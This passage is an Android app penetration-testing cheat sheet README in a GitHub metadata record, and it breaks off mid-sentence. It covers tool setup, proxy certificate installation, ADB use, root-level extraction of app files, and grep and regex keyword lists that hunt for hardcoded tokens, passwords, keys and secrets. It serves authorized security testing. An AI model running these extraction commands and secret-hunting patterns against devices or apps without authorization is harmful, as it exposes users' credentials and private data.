{"id":13589454,"url":"https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet","last_synced_at":"2025-03-26T01:31:15.266Z","repository":{"id":65645476,"uuid":"548395471","full_name":"ivan-sincek/android-penetration-testing-cheat-sheet","owner":"ivan-sincek","description":"Work in progress...","archived":false,"fork":false,"pushed_at":"2024-10-27T22:35:58.000Z","size":2336,"stargazers_count":367,"open_issues_count":0,"forks_count":57,"subscribers_count":7,"default_branch":"main","last_synced_at":"2024-10-29T21:03:08.225Z","etag":null,"topics":["android","android-penetration-testing","bug-bounty","ethical-hacking","frida","magisk","mobile-penetration-testing","mobsf","objection","offensive-security","penetration-testing","red-team-engagement","security"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ivan-sincek.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-10-09T13:37:25.000Z","updated_at":"2024-10-28T10:14:30.000Z","dependencies_parsed_at":"2024-02-20T10:47:55.554Z","dependency_job_id":"8f37b3cb-a95d-489d-aaf0-2d0d6fda273a","html_url":"https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fandroid-penetration-testing-cheat-sheet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fandroid-penetration-testing-cheat-sheet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fandroid-penetration-testing-cheat-sheet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fandroid-penetration-testing-cheat-sheet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ivan-sincek","download_url":"https://codeload.github.com/ivan-sincek/android-penetration-testing-cheat-sheet/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245571800,"owners_count":20637398,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["android","android-penetration-testing","bug-bounty","ethical-hacking","frida","magisk","mobile-penetration-testing","mobsf","objection","offensive-security","penetration-testing","red-team-engagement","security"],"created_at":"2024-08-01T16:00:30.370Z","updated_at":"2025-03-26T01:31:14.131Z","avatar_url":"https://github.com/ivan-sincek.png","language":"JavaScript","funding_links":[],"categories":["Mobile Pentesting"],"sub_categories":["Android"],"readme":"# Android Penetration Testing Cheat Sheet\n\nThis is more of a checklist for myself. May contain useful tips and tricks. **Still need to add a lot of things.**\n\nEverything was tested on Kali Linux v2023.1 (64-bit) and Samsung A5 (2017) with Android OS v8.0 (Oreo) and Magisk root v25.2.\n\nCheck [Magisk](https://topjohnwu.github.io/Magisk) if you wish to root your Android device. I have no [liability](https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet/blob/main/LICENSE) over your actions.\n\nFor help with any of the tools type `\u003ctool_name\u003e [-h | -hh | --help]` or `man \u003ctool_name\u003e`.\n\nIf you didn't already, read [OWAS MASTG](https://mas.owasp.org/MASTG/) \\([GitHub](https://github.com/OWASP/owasp-mastg)\\) and [OWASP MASVS](https://mas.owasp.org/MASVS/) \\([GitHub](https://github.com/OWASP/owasp-masvs)\\). You can download OWASP MASTG checklist from [here](https://github.com/OWASP/owasp-mastg/releases).\n\nI also recommend reading [HackTricks - Android Applications Pentesting](https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting).\n\n__In most cases, to be eligible for a bug bounty reward, you need to exploit a vulnerability with non-root privileges, possibly building your own \"malicious\" PoC app.__\n\nFind out more about my \"malicious\" PoC app from my other [project](https://github.com/ivan-sincek/malware-apk).\n\nWebsites that you should use while writing the report:\n\n* [cwe.mitre.org/data](https://cwe.mitre.org/data)\n* [owasp.org/projects](https://owasp.org/projects)\n* [owasp.org/www-project-mobile-top-10](https://owasp.org/www-project-mobile-top-10)\n* [cheatsheetseries.owasp.org](https://cheatsheetseries.owasp.org/Glossary.html)\n* [first.org/cvss/calculator/4.0](https://www.first.org/cvss/calculator/4.0)\n* [nvd.nist.gov/vuln-metrics/cvss/v3-calculator](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n* [nvd.nist.gov/ncp/repository](https://nvd.nist.gov/ncp/repository)\n* [attack.mitre.org](https://attack.mitre.org)\n\nMy other cheat sheets:\n\n* [iOS Testing Cheat Sheet](https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet)\n* [Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/penetration-testing-cheat-sheet)\n* [WiFi Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet)\n\nFuture plans:\n\n* modify `networkSecurityConfig` to add custom root CA certificates,\n* test widgets, push notifications, and Firebase,\n* SMALI code injection,\n* Flutter attacks,\n* create more Frida scripts.\n\n## Table of Contents\n\n**0. [Install Tools](#0-install-tools)**\n\n* [WiFi ADB - Debug Over Air](#wifi-adb---debug-over-air)\n* [Magisk Frida](#magisk-frida)\n* [Magisk SQLite 3](#magisk-sqlite-3)\n* [BusyBox](#busybox)\n* [Kali Linux Tools](#kali-linux-tools)\n* [Java](#java)\n* [Apktool](#apktool)\n* [Mobile Security Framework (MobSF)](#mobile-security-framework-mobsf)\n* [Drozer](#drozer)\n* [Install Web Proxy Certificates](#install-web-proxy-certificates)\n\n**1. [Basics](#1-basics)**\n\n* [Android Debug Bridge (ADB)](#android-debug-bridge-adb)\n* [Install/Uninstall an APK](#installuninstall-an-apk)\n* [Download/Upload Files and Directories](#downloadupload-files-and-directories)\n* [Bypassing Permission Denied](#bypassing-permission-denied)\n\n**2. [Inspect an APK](#2-inspect-an-apk)**\n\n* [Pull an APK (base.apk)](#pull-an-apk-baseapk)\n* [AndroidManifest.xml](#androidmanifestxml)\n* [strings.xml](#stringsxml)\n\n**3. [Search for Files and Directories](#3-search-for-files-and-directories)**\n\n* [SharedPreferences](#sharedpreferences)\n\n**4. [Inspect Files](#4-inspect-files)**\n\n* [Single File](#single-file)\n* [Multiple Files](#multiple-files)\n* [File Scraper](#file-scraper)\n* [SQLite 3](#sqlite-3)\n* [Nuclei](#nuclei)\n* [Backups](#backups)\n\n**5. [SpotBugs](#5-SpotBugs)**\n\n**6. [Deep Links](#6-deep-links)**\n\n* [Android App Link Verification Tester](#android-app-link-verification-tester)\n\n* [Deep Link Hijacking](#deep-link-hijacking)\n\n**7. [WebViews](#7-webviews)**\n\n**8. [Frida](#8-frida)**\n\n* [Frida Scripts](#frida-scripts)\n\n**9. [Objection](#9-objection)**\n\n* [Bypasses](#bypasses)\n\n**10. [Drozer](#10-drozer)**\n\n* [Intents](#intents)\n* [Content Providers](#content-providers)\n* [Broadcast Receivers](#broadcast-receivers)\n\n**11. [Intent Injections](#11-intent-injections)**\n\n**12. [Taskjacking](#12-taskjacking)**\n\n**13. [Tapjacking](#13-tapjacking)**\n\n**14. [Decompile an APK](#14-decompile-an-apk)**\n\n**15. [Repackage an APK](#15-repackage-an-apk)**\n\n* [Decode](#decode)\n* [Repackage](#repackage)\n* [Code Sign](#code-sign)\n\n**16. [Miscellaneous](#16-miscellaneous)**\n\n* [Monitor the System Log](#monitor-the-system-log)\n* [Monitor File Changes](#monitor-file-changes)\n\n**17. [Tips and Security Best Practices](#17-tips-and-security-best-practices)**\n\n**18. [Useful Websites and Tools](#18-useful-websites-and-tools)**\n\n**19. [Vulnerable Apps](#19-vulnerable-apps)**\n\n## 0. Install Tools\n\n### WiFi ADB - Debug Over Air\n\nInstall [WiFi ADB - Debug Over Air](https://play.google.com/store/apps/details?id=com.ttxapps.wifiadb). To be used with [ADB](#android-debug-bridge-adb).\n\n\u003cp align=\"center\"\u003e\u003cimg src=\"https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet/blob/main/img/wifi_adb.jpg\" alt=\"WiFi ADB - Debug Over Air\" height=\"600em\"\u003e\u003c/p\u003e\n\n\u003cp align=\"center\"\u003eFigure 1 - WiFi ADB - Debug Over Air\u003c/p\u003e\n\n### Magisk Frida\n\nDownload [Magisk Frida](https://github.com/ViRb3/magisk-frida/releases), then, open your [Magisk](https://topjohnwu.github.io/Magisk) app and install Frida by importing the downloaded archive.\n\n\u003cp align=\"center\"\u003e\u003cimg src=\"https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet/blob/main/img/magisk_install_from_storage.jpg\" alt=\"Magisk Frida\" height=\"600em\"\u003e\u003c/p\u003e\n\n\u003cp align=\"center\"\u003eFigure 2 - Magisk Frida\u003c/p\u003e\n\n### Magisk SQLite 3\n\nDownload [Magisk SQLite 3](https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet/tree/main/binaries), then, open your [Magisk](https://topjohnwu.github.io/Magisk) app and install SQLite 3 by importing the downloaded archive.\n\n### BusyBox\n\nAdditional set of tools for advanced users. Read more at [busybox.net](https://busybox.net/about.html) \\([Google Play](https://play.google.com/store/apps/details?id=stericson.busybox)\\).\n\n### Kali Linux Tools\n\nInstall required tools on your Kali Linux:\n\n```fundamental\napt-get -y install docker.io\n\nsystemctl start docker\n\napt-get -y install adb dex2jar jadx nuclei radare2 sqlite3 sqlitebrowser xmlstarlet apksigner zipalign\n\npip3 install frida-tools objection file-scraper\n```\n\nMore information about my tool can be found at [ivan-sincek/file-scraper](https://github.com/ivan-sincek/file-scraper).\n\nMake sure that Frida and Objection are always up to date:\n\n```fundamental\npip3 install --upgrade frida-tools objection\n```\n\n### Java\n\nInstall:\n\n```fundamental\napt-get -y install default-jdk\n```\n\nMore Java/JDK versions can be found at [oracle.com/java/technologies/downloads/archive](https://www.oracle.com/java/technologies/downloads/archive).\n\nTo switch between multiple Java/JDK versions, run:\n\n```fundamental\nupdate-alternatives --config java\n\nupdate-alternatives --config javac\n```\n\n### Apktool\n\nDownload and install:\n\n```bash\napt-get -y install aapt\n\nwget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool -O apktool\n\nchmod +x apktool \u0026\u0026 cp apktool /usr/local/bin/apktool\n\nwget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar -O apktool.jar\n\nchmod +x apktool.jar \u0026\u0026 cp apktool.jar /usr/local/bin/apktool.jar\n```\n\n### Mobile Security Framework (MobSF)\n\nInstall:\n\n```fundamental\ndocker pull opensecurity/mobile-security-framework-mobsf\n```\n\nRun:\n\n```fundamental\ndocker run -it --rm --name mobsf -p 8000:8000 opensecurity/mobile-security-framework-mobsf\n```\n\nNavigate to `http://localhost:8000` using your preferred web browser.\n\nSometimes, for some reason, [MobSF](#mobile-security-framework-mobsf) might not want to parse your APK; in that case, try to [decode](#decode) and [repackage](#repackage) your APK, then, upload it again.\n\nUninstall:\n\n```fundamental\ndocker image rm opensecurity/mobile-security-framework-mobsf\n```\n\n### Drozer\n\nInstall:\n\n```fundamental\ndocker pull fsecurelabs/drozer\n```\n\nRun:\n\n```fundamental\ndocker run -it --rm --name drozer fsecurelabs/drozer\n```\n\nDownload [Drozer Agent](https://github.com/WithSecureLabs/drozer-agent/releases) and install it either manually or by using [ADB](#android-debug-bridge-adb).\n\nUninstall:\n\n```fundamental\ndocker image rm fsecurelabs/drozer\n```\n\n## Install Web Proxy Certificates\n\nOpen [Burp Suite](https://portswigger.net/burp/communitydownload), navigate to `Proxy --\u003e Proxy Settings` and save the certificate, e.g., as `burp_suite_root_ca.der`.\n\n\u003cp align=\"center\"\u003e\u003cimg src=\"https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet/blob/main/img/exporting_burp_suite_proxy_certificate.png\" alt=\"Exporting Burp Suite Proxy Certificate\"\u003e\u003c/p\u003e\n\n\u003cp align=\"center\"\u003eFigure 3 - Exporting Burp Suite Proxy Certificate\u003c/p\u003e\n\nOpen [ZAP](https://www.zaproxy.org), navigate to `Tools --\u003e Options --\u003e Network --\u003e Server Certificates`, and save the certificate, e.g., as `zap_root_ca.cer`.\n\n\u003cp align=\"center\"\u003e\u003cimg src=\"https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet/blob/main/img/exporting_zap_certificate.png\" alt=\"Exporting ZAP Certificate\"\u003e\u003c/p\u003e\n\n\u003cp align=\"center\"\u003eFigure 4 - Exporting ZAP Certificate\u003c/p\u003e\n\nNow, you can either transfer the files to your Android device manually or run:\n\n```fundamental\nadb push burp_suite_root_ca.der /storage/emulated/0/\nadb push zap_root_ca.cer /storage/emulated/0/\n```\n\n`/storage/emulated/0/` is the internal storage path that can be accessed through the UI, e.g., on your Android device, navigate to `My Files --\u003e Internal Storage`.\n\nTo install, simply tap on the certificates and follow the on-screen instructions.\n\n## 1. Basics\n\n### Android Debug Bridge (ADB)\n\nStart the server:\n\n```fundamental\nadb start-server\n```\n\nStop the server:\n\n```fundamental\nadb kill-server\n```\n\nList attached devices:\n\n```fundamental\nadb devices\n```\n\nConnect to a remote device using [WiFi ADB](#wifi-adb---debug-over-air):\n\n```fundamental\nadb connect 192.168.1.10:5555\n```\n\nOpen a system shell as non-root:\n\n```fundamental\nadb shell\n```\n\nOpen a system shell as root:\n\n```fundamental\nadb shell su\n```\n\nShow activity manager's full usage:\n\n```fundamental\nadb shell am -h\n```\n\n### Install/Uninstall an APK\n\nInstall an APK (specify `-s` to install the APK to a removable storage):\n\n```fundamental\nadb install someapp.apk\n\nadb install -s someapp.apk\n```\n\nUninstall an APK (specify `-k` to keep the data and cache directories):\n\n```fundamental\nadb uninstall com.someapp.dev\n\nadb uninstall -k com.someapp.dev\n```\n\n### Download/Upload Files and Directories\n\nSome of the internal storage paths:\n\n```fundamental\ncd /data/local/tmp/\n\ncd /data/data/com.someapp.dev/cache/\ncd /data/user/0/com.someapp.dev/cache/\n\ncd /mnt/sdcard/Android/data/com.someapp.dev/cache/\ncd /storage/emulated/0/Android/data/com.someapp.dev/cache/\n\ncd /mnt/sdcard/Android/obb/com.someapp.dev/cache/\ncd /storage/emulated/0/Android/obb/com.someapp.dev/cache/\n\ncd /mnt/media_rw/3664-6132/Android/data/com.someapp.dev/files/\ncd /storage/3664-6132/Android/data/com.someapp.dev/files/\n```\n\nNumber `0` in both, `/data/user/0/` and `/storage/emulated/0/` paths, represents the first user in a multi-user device.\n\n`/storage/emulated/0/` is the internal storage path that can be accessed through the UI, e.g., on your Android device, navigate to `My Files --\u003e Internal Storage`.\n\nDon't confuse `/mnt/sdcard/` path with a real removable storage path because sometimes such path is device specific, so you will need to search it on the internet or extract it using some Java code. In my case it is `/mnt/media_rw/3664-6132/` path.\n\n```fundamental\nXML                     --\u003e  Java Method                                --\u003e  Path\n\n\u003cfiles-path/\u003e           --\u003e  getContext().getFilesDir()                 --\u003e  /data/user/0/com.someapp.dev/files\n\n\u003ccache-path/\u003e           --\u003e  getContext().getCacheDir()                 --\u003e  /data/user/0/com.someapp.dev/cache\n\n\u003cexternal-path/\u003e        --\u003e  Environment.getExternalStorageDirectory()  --\u003e  /storage/emulated/0\n\n\u003cexternal-files-path/\u003e  --\u003e  getContext().getExternalFilesDir(\"\")       --\u003e  /storage/emulated/0/Android/data/com.someapp.dev/files\n\n\u003cexternal-cache-path/\u003e  --\u003e  getContext().getExternalCacheDir()         --\u003e  /storage/emulated/0/Android/data/com.someapp.dev/cache\n\n\u003cexternal-media-path/\u003e  --\u003e  getContext().getExternalMediaDirs()        --\u003e  /storage/emulated/0/Android/media/com.someapp.dev\n                                                                             /storage/3664-6132/Android/media/com.someapp.dev\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t   \n-                       --\u003e  getContext().getExternalFilesDirs(\"\")      --\u003e  /storage/emulated/0/Android/data/com.someapp.dev/files\n                                                                             /storage/3664-6132/Android/data/com.someapp.dev/files\n```\n\n---\n\nTilde `~` is short for the root directory.\n\nDownload a file or directory from your Android device:\n\n```fundamental\nadb pull ~/somefile.txt ./\n\nadb pull ~/somedir ./\n```\n\nKeep in mind that not all directories have the write and/or execute permission; regardless, you can always upload files to and execute from `/data/local/tmp/` directory.\n\nUpload a file or directory to your Android device:\n\n```fundamental\nadb push somefile.txt /data/local/tmp/\n\nadb push somedir /data/local/tmp/\n```\n\nEmpty directories will not be uploaded.\n\n### Bypassing Permission Denied\n\nDownload a file from your Android device:\n\n```bash\nadb shell su -c 'cat ~/somefile.txt' \u003e somefile.txt\n\nadb shell su -c 'run-as com.someapp.dev cat ~/somefile.txt' \u003e somefile.txt\n```\n\nDownload a directory from your Android device:\n\n```bash\ndir=\"somedir\"; IFS=$'\\n'; for subdir in $(adb shell su -c \"find \\\"${dir}\\\" -type d\"); do mkdir -p \".${subdir}\"; done; for file in $(adb shell su -c \"find \\\"${dir}\\\" -type f\"); do adb shell su -c \"cat \\\"${file// /\\\\\\ }\\\"\" \u003e \".${file}\"; done;\n```\n\nUpload a file or directory to your Android device:\n\n```bash\nsrc=\"somefile.txt\"; dst=\"/data/data/com.someapp.dev/\"; tmp=\"/data/local/tmp/\"; base=$(basename \"${src}\"); adb push \"${src}\" \"${tmp}\"; adb shell su -c \"cp -r \\\"${tmp}${base}\\\" \\\"${dst}\\\" \u0026\u0026 rm -rf \\\"${tmp}${base}\\\"\"\n```\n\n## 2. Inspect an APK\n\n### Pull an APK (base.apk)\n\n```bash\nadb shell pm list packages 'keyword' | cut -d ':' -f2\n\nadb pull $(adb shell pm path com.someapp.dev | cut -d ':' -f2 | grep 'base.apk') ./\n```\n\nPull an APK by specific keyword (one-liner):\n\n```bash\nkeyword=\"keyword\"; pkg=$(adb shell pm list packages \"${keyword}\" | head -n 1 | cut -d ':' -f2); adb pull $(adb shell pm path \"${pkg}\" | cut -d ':' -f2 | grep 'base.apk') ./\n```\n\nDecode an APK using [Apktool](#decode). You should now see the `decoded` directory.\n\n## AndroidManifest.xml\n\nAlways inspect `decoded/AndroidManifest.xml` content for possible misconfigurations.\n\nThings to look for in AndroidManifest.xml:\n\n* `minSdkVersion`, `targetSDKVersion`, and `maxSdkVersion` - app should not support outdated and vulnerable Android releases,\n* `debuggable=\"true\"` - production app (i.e., build) should not be debuggable,\n* `android:allowBackup=\"true\"` - app should not [backup](#backups) any sensitive data,\n* `usesCleartextTraffic=\"true\"` - app should not use a cleartext HTTP communication,\n* `networkSecurityConfig` - inspect network security configurations for SSL/TLS pinnings, whitelisted domains, and `cleartextTrafficPermitted=\"true\"` inside `decoded/res/xml/` directory,\n* `permission` - look for unused \\[custom\\] permissions, and permissions with weak [protection](https://developer.android.com/guide/topics/manifest/permission-element) (`protectionLevel`),\n* `exported=\"true\"` - [enumerate](#10-drozer) exported activities, content providers, broadcast receivers, and services,\n* `taskAffinity` - activities missing this attribute might be vulnerable to [taskjacking](#taskjacking),\n* `android:autoVerify=\"true\"` - deep links missing this attribute might be vulnerable to [deep link hijacking](#deep-link-hijacking),\n* etc.\n\n---\n\nExtract URL schemes from AndroidManifest.xml:\n\n```bash\nxmlstarlet sel -t -m '//activity/intent-filter/data[@android:scheme]' -v '@android:scheme' -n AndroidManifest.xml | sort -uf | tee url_schemes.txt\n```\n\nExtract URL schemes and corresponding hosts from AndroidManifest.xml:\n\n```bash\nxmlstarlet sel -t -m '//activity/intent-filter/data[@android:scheme and @android:host]' -v 'concat(@android:scheme, \"://\", @android:host, @android:pathPrefix, @android:path, @android:pathSufix)' -n AndroidManifest.xml  | sort -uf | tee url_schemes_hosts.txt\n```\n\nResolve all `@string` keys from AndroidManifest.xml as `key: value` pairs:\n\n```bash\ndir=\"./\"; for key in $(grep -Poi '(?\u003c=\"\\@string\\/).+?(?=\\\")' \"${dir}/AndroidManifest.xml\" | sort -u); do val=$(xmlstarlet sel -t -v \"/resources/string[@name='${key}']\" \"${dir}/res/values/strings.xml\"); echo \"${key}: ${val}\"; done\n```\n\n## strings.xml\n\nAlways inspect `decoded/res/values/strings.xml` for endpoints, sensitive data \\[in Base64 encoding\\], etc. For more examples, see section [4. Inspect Files](#4-inspect-files).\n\n## 3. Search for Files and Directories\n\nSearch for files and directories from the root directory:\n\n```bash\nfind / -iname '*keyword*'\n```\n\nSearch for files and directories in the app specific directories (run `env` in [Objection](#9-objection)):\n\n```bash\ncd /data/user/0/com.someapp.dev/\n\ncd /storage/emulated/0/Android/data/com.someapp.dev/\n\ncd /storage/emulated/0/Android/obb/com.someapp.dev/\n```\n\nIf you want to download a whole directory from your Android device, see section [Download/Upload Files and Directories](#downloadupload-files-and-directories).\n\nI preffer downloading the app specific directories, and then doing the [file inspection](#4-inspect-files) on my Kali Linux.\n\nSearch for files and directories from the current directory:\n\n```bash\nfind . -iname '*keyword*'\n\nfor keyword in 'access' 'account' 'admin' 'card' 'cer' 'conf' 'cred' 'customer' 'email' 'history' 'info' 'json' 'jwt' 'key' 'kyc' 'log' 'otp' 'pass' 'pem' 'pin' 'plist' 'priv' 'refresh' 'salt' 'secret' 'seed' 'setting' 'sign' 'sql' 'token' 'transaction' 'transfer' 'tar' 'txt' 'user' 'zip' 'xml'; do find . -iname \"*${keyword}*\"; done\n```\n\n### SharedPreferences\n\nSearch for files and directories in [SharedPreferences](https://developer.android.com/reference/android/content/SharedPreferences) insecure storage directory:\n\n```bash\ncd /data/user/0/com.someapp.dev/shared_prefs/\n```\n\nThe files should not be world-readable (e.g., `-rw-rw-r--` is not good, and `-rw-rw----` is good):\n\n```bash\nls /data/user/0/com.someapp.dev/shared_prefs/ -al\n```\n\nIf the production build is [debuggable](https://developer.android.com/topic/security/risks/android-debuggable), it is possible to get the read access rights to the app specific directories as a low-privileged user by leveraging `run-as` command.\n\nDownload a file from SharedPreferences as non-root:\n\n```bash\nadb exec-out run-as com.someapp.dev cat /data/user/0/com.someapp.dev/shared_prefs/somefile.xml \u003e somefile.xml\n```\n\nSharedPreferences is unencrypted and backed up by default, and as such, should not contain any sensitive data after user logs out - it should be cleared by calling [SharedPreferences.Editor.clear\\(\\)](https://developer.android.com/reference/android/content/SharedPreferences.Editor#clear()). It should also be excluded from backups by specifying [dataExtractionRules](https://developer.android.com/guide/topics/data/autobackup#include-exclude-android-12) inside app's AndroidManifest.xml.\n\n## 4. Inspect Files\n\nInspect memory dumps, binaries, files inside [a decompiled APK](#14-decompile-an-apk), files inside the app specific directories, or any other files.\n\nAfter you finish testing \\[and logout\\], don't forget to [download](#downloadupload-files-and-directories) the app specific directories and inspect all the files inside. Inspect what is new and what still persists after the logout.\n\nThere will be some false positive results since the regular expressions are not perfect. I prefer to use `rabin2` over `strings` because it can read Unicode characters.\n\nOn your Android device, try to modify app's files to test the filesystem checksum validation, i.e., to test the file integrity validation.\n\n### Single File\n\nSearch for hardcoded sensitive data:\n\n```bash\nrabin2 -zzzqq somefile | grep -Pi '[^\\w\\d\\n]+(?:basic|bearer)\\ .+'\n\nrabin2 -zzzqq somefile | grep -Pi '(?:access|account|admin|basic|bearer|card|conf|cred|customer|email|history|id|info|jwt|key|kyc|log|otp|pass|pin|priv|refresh|salt|secret|seed|setting|sign|token|transaction|transfer|user)[\\w\\d]*(?:\\\"\\ *\\:|\\ *\\=).+'\n\nrabin2 -zzzqq somefile | grep -Pi '[^\\w\\d\\n]+(?:bug|comment|fix|issue|note|problem|to(?:\\_|\\ |)do|work)[^\\w\\d\\n]+.+'\n```\n\nExtract URLs, deep links, IPs, etc.:\n\n```bash\nrabin2 -zzzqq somefile | grep -Po '\\w+\\:\\/\\/[\\w\\-\\.\\@\\:\\/\\?\\=\\%\\\u0026\\#]+' | sort -uf | tee urls.txt\n\nrabin2 -zzzqq somefile | grep -Po '(?:\\b25[0-5]|\\b2[0-4][0-9]|\\b[01]?[0-9][0-9]?)(?:\\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}' | sort -uf | tee ips.txt\n```\n\nExtract all strings and decode Base64 strings:\n\n```bash\nrabin2 -zzzqq somefile | sort -uf \u003e strings.txt\n\ngrep -Po '(?:[a-zA-Z0-9\\+\\/]{4})*(?:[a-zA-Z0-9\\+\\/]{4}|[a-zA-Z0-9\\+\\/]{3}\\=|[a-zA-Z0-9\\+\\/]{2}\\=\\=)' strings.txt | sort -uf \u003e base64.txt\n\nfor string in $(cat base64.txt); do res=$(echo \"${string}\" | base64 -d 2\u003e/dev/null | grep -PI '[\\s\\S]+'); if [[ ! -z $res ]]; then echo -n \"${string}\\n${res}\\n\\n\"; fi; done | tee base64_decoded.txt\n```\n\n### Multiple Files\n\nSearch for hardcoded sensitive data:\n\n```bash\nIFS=$'\\n'; for file in $(find . -type f); do echo -n \"\\nFILE: \\\"${file}\\\"\\n\"; rabin2 -zzzqq \"${file}\" 2\u003e/dev/null | grep -Pi '[^\\w\\d\\n]+(?:basic|bearer)\\ .+'; done\n\nIFS=$'\\n'; for file in $(find . -type f); do echo -n \"\\nFILE: \\\"${file}\\\"\\n\"; rabin2 -zzzqq \"${file}\" 2\u003e/dev/null | grep -Pi '(?:access|account|admin|basic|bearer|card|conf|cred|customer|email|history|id|info|jwt|key|kyc|log|otp|pass|pin|priv|refresh|salt|secret|seed|setting|sign|token|transaction|transfer|user)[\\w\\d]*(?:\\\"\\ *\\:|\\ *\\=).+'; done\n\nIFS=$'\\n'; for file in $(find . -type f); do echo -n \"\\nFILE: \\\"${file}\\\"\\n\"; rabin2 -zzzqq \"${file}\" 2\u003e/dev/null | grep -Pi '[^\\w\\d\\n]+(?:bug|comment|fix|issue|note|problem|to(?:\\_|\\ |)do|work)[^\\w\\d\\n]+.+'; done\n```\n\nExtract URLs, deep links, IPs, etc.:\n\n```bash\nIFS=$'\\n'; for file in $(find . -type f); do rabin2 -zzzqq \"${file}\" 2\u003e/dev/null; done | grep -Po '\\w+\\:\\/\\/[\\w\\-\\.\\@\\:\\/\\?\\=\\%\\\u0026\\#]+' | grep -Piv '\\.(css|gif|jpeg|jpg|ogg|otf|png|svg|ttf|woff|woff2)' | sort -uf | tee urls.txt\n\nIFS=$'\\n'; for file in $(find . -type f); do rabin2 -zzzqq \"${file}\" 2\u003e/dev/null; done | grep -Po '(?:\\b25[0-5]|\\b2[0-4][0-9]|\\b[01]?[0-9][0-9]?)(?:\\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}' | sort -uf | tee ips.txt\n```\n\nExtract all strings and decode Base64 strings:\n\n```bash\nIFS=$'\\n'; for file in $(find . -type f); do rabin2 -zzzqq \"${file}\" 2\u003e/dev/null; done | sort -uf \u003e strings.txt\n\ngrep -Po '(?:[a-zA-Z0-9\\+\\/]{4})*(?:[a-zA-Z0-9\\+\\/]{4}|[a-zA-Z0-9\\+\\/]{3}\\=|[a-zA-Z0-9\\+\\/]{2}\\=\\=)' strings.txt | sort -uf \u003e base64.txt\n\nfor string in $(cat base64.txt); do res=$(echo \"${string}\" | base64 -d 2\u003e/dev/null | grep -PI '[\\s\\S]+'); if [[ ! -z $res ]]; then echo -n \"${string}\\n${res}\\n\\n\"; fi; done | tee base64_decoded.txt\n```\n\n### File Scraper\n\nAutomate all of the above file inspection (and more) with a single tool, also using multithreading.\n\n```bash\napt-get -y install radare2\n\npip3 install file-scraper\n```\n  \n```fundamental\nfile-scraper -dir source -o file_scraper_results.html -e default\n```\n\nMore about my other project at [ivan-sincek/file-scraper](https://github.com/ivan-sincek/file-scraper).\n\n### SQLite 3\n\nUse [ADB](#downloadupload-files-and-directories) to download database files, and then open them using [DB Browser for SQLite](https://sqlitebrowser.org).\n\nTo inspect the content, navigate to `Browse Data` tab, expand `Table` dropdown menu, and select the desired table.\n\n\u003cp align=\"center\"\u003e\u003cimg src=\"https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet/blob/main/img/sqlite.png\" alt=\"SQLite\"\u003e\u003c/p\u003e\n\n\u003cp align=\"center\"\u003eFigure 5 - DB Browser for SQLite\u003c/p\u003e\n\nTo inspect and/or edit database files on your Android device directly, use [SQLite 3](#magisk-sqlite-3); [ADB](#android-debug-bridge-adb) to your Android device and run the following commands:\n\n```sql\nsqlite3 somefile\n\n.dump\n\n.tables\n\nSELECT * FROM sometable;\n\n.quit\n```\n\n### Nuclei\n\nDownload mobile Nuclei templates:\n\n```fundamental\ngit clone https://github.com/optiv/mobile-nuclei-templates ~/mobile-nuclei-templates\n```\n\nDecode an APK using [Apktool](#decode).\n\nSearch for hardcoded sensitive data:\n\n```bash\necho decoded | nuclei -t ~/mobile-nuclei-templates/Keys/ -o nuclei_keys_results.txt\n\ncat nuclei_keys_results.txt | grep -Po '(?\u003c=\\]\\ ).+' | sort -uf \u003e nuclei_keys_results_sorted.txt\n\necho decoded | nuclei -t ~/mobile-nuclei-templates/Android/ -o nuclei_android_results.txt\n\ncat nuclei_android_results.txt | grep -Po '(?\u003c=\\]\\ ).+' | sort -uf \u003e nuclei_android_results_sorted.txt\n```\n\n### Backups\n\nCreate a backup of the whole Android device:\n\n```fundamental\nadb backup -system -apk -shared -all -f backup.ab\n```\n\nCreate a backup of a specific app:\n\n```\nadb backup -nosystem -noapk -noshared -f backup.ab com.someapp.dev\n```\n\nApp should not backup any sensitive data.\n\nRestore from a 